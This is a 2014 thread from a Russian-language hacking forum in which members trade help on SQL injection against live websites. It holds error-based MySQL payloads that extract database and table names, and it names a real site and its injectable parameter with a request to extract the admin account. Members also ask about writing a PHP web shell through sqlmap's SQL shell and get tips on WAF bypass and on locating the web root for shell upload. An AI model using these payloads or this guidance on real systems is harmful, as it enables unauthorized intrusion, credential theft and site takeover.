ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
30.08.2014, 17:38
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от billybonse
Konqi
, буду очень благодарен, если подскажете на примере, как осуществить. Вот мой запрос:
CatID=2 OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(database(), 1, 63), FLOOR(RAND(0)*2))) --
Ответ: Invalid query: Duplicate entry '5.1.311' for key 'group_key'
CatID=2 OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID( (select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 63), FLOOR(RAND(0)*2))) --
|
|
|
30.08.2014, 17:42
|
|
Познающий
Регистрация: 09.10.2011
Сообщений: 55
Провел на форуме:
12164
Репутация:
1
|
|
Спасибо, помогло! Кручу дальше!
|
|
|
|
30.08.2014, 20:03
|
|
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
Провел на форуме:
182660
Репутация:
324
|
|
где можно найти инфу про то какие браузеры какие симолы урл энкодят?
к примеру фф превращает ' в %27 а опера нет.
где найти инфу об этом?
|
|
|
|
31.08.2014, 09:13
|
|
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
Провел на форуме:
179197
Репутация:
25
|
|
помогите админа вытащить
http://www.grc.tomsk.ru/
GET vote%5B2%5D%5B%5D=7 - скуля
почему то дальше имени бд не идет.
|
|
|
|
01.09.2014, 19:34
|
|
Познающий
Регистрация: 15.09.2013
Сообщений: 68
Провел на форуме:
24060
Репутация:
0
|
|
Привилегия File, Dba - False
В sqlmap есть команда --sql-shell
sql-shell> Что дальше ? Не пойму с командами , как понял select MiniShell into outfile "/dir/shell.php"
Прошу помощи
|
|
|
|
01.09.2014, 23:56
|
|
Познающий
Регистрация: 20.09.2012
Сообщений: 53
Провел на форуме:
20084
Репутация:
0
|
|
Код:
site.com/index.php?id=1+union+select+1,2,3+--+
Forbidden
You don't have permission to access /index.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Код:
site.com/index.php?id=1+un/**/ion+se/**/lect+1,2,3+--+
[DATABASE ERROR:]1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'un/**/ion se/**/lect 1,2,3 --' at line 1
wtf? |
|
|
|
02.09.2014, 22:58
|
|
Познающий
Регистрация: 15.09.2013
Сообщений: 68
Провел на форуме:
24060
Репутация:
0
|
|
Как узнать корневую папку до сайта?
Есть полные права , не могу залить шелл , не зная корневую папку
|
|
|
|
02.09.2014, 23:29
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0
Репутация:
0
|
|
Сообщение от erwap
Код:
site.com/index.php?id=1+union+select+1,2,3+--+
Forbidden
You don't have permission to access /index.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Код:
site.com/index.php?id=1+un/**/ion+se/**/lect+1,2,3+--+
[DATABASE ERROR:]1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'un/**/ion se/**/lect 1,2,3 --' at line 1
wtf? Not WTF - WAF.
Сообщение от None
Как узнать корневую папку до сайта?
Есть полные права , не могу залить шелл , не зная корневую папку
1) Перебор
2) Чтение конфигов, раз есть file_priv
3) Выбивание ошибок из скриптов
4) Гугление по варнингам\еррорам\нотисам для site:site.com
|
|
|
|
03.09.2014, 00:06
|
|
Познающий
Регистрация: 15.09.2013
Сообщений: 68
Провел на форуме:
24060
Репутация:
0
|
|
Сообщение от madhatter
1) Перебор
2) Чтение конфигов, раз есть file_priv
3) Выбивание ошибок из скриптов
4) Гугление по варнингам\еррорам\нотисам для site:site.com
Какие именно конфиги?
|
|
|
|
03.09.2014, 00:08
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0
Репутация:
0
|
|
Сообщение от yeti2
Какие именно конфиги?
Конфиги, вы не поверите, веб-сервера, который обсуживает виртуальные хосты. То ли в уязвимостях, то ли в избранном есть топик со списками дефолтных путей к конфигам.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
